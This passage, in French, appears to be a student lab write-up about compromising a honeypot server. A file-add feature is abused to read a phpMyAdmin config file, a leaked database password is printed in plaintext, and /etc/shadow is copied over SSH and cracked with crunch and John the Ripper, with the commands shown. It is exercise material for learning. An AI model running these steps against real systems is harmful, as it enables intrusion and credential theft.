Nous avons donc ouvert l'URL http://honey.plil.info/phpmyadmin dans un navigateur, mais sans surprise, nous ne pouvions pas nous y connecter.

3. Exploitation du site web

Nous nous sommes donc connectés au site web sur le compte admin, disposant donc des plus hauts privilègs.
De là, 3 menus, dont 2 sont intéressants. Dans l'onglet gestion des manuels, on peut ajouter un fichier depuis le serveur.
Ainsi, nous avons ajouté le fichier /etc/phpmyadmin/config-db.php.

Depuis la page Recherche d'un manuel, nous avons pû télécharger ce fichier, qui nous a indiqué le mot de passe du compte phpmyadmin : gencovid19.
Nous nous sommes connectés à phpmyadmin avec l'identifiant root et ce mot de passe.
Ensuite, dans la base test, il y avait une table users dans laquelle se trouvait le mot de passe du compte rex de honey.plil.info.

4. Récupération de fichiers avec l'user rex

Nous avons donc réussi à nous connecter en SSH au serveur, et nous avons récupéré les fichiers /etc/passwd et /etc/shadow.
Nous avons lancé la commande :

unshadow /etc/passwd /etc/shadow | head -1 > mdp

Nous avons obtenu un fichier avec le mot de passe root haché.

5. Decryptage du mot de passe root avec John the Ripper

L'utilisation de John the Ripper semblait toute indiquée. Nous nous sommes aidé des indications : "mot de passe présentant les mêmes caractéristiques que le mot de passe root habituel".
Nous avons créé un dictionnaire de mots de 4 lettres :

crunch 4 4 abcdefghijklmnopqrstuvwxyz > dict

Pour obtenir des mots de 8 lettres (en duplicant les mots de 4 lettres), nous avons utilisé sed :

sed -i 's/\(.*\)/\1\1/'

La dernière étape consistait à lancer JtR :

john -w:dict mdp

Après 5 minutes d'attente, le mot de passe vu cracké.
Avec la commande :

john --show mdp

On obtient le mot de passe : ********.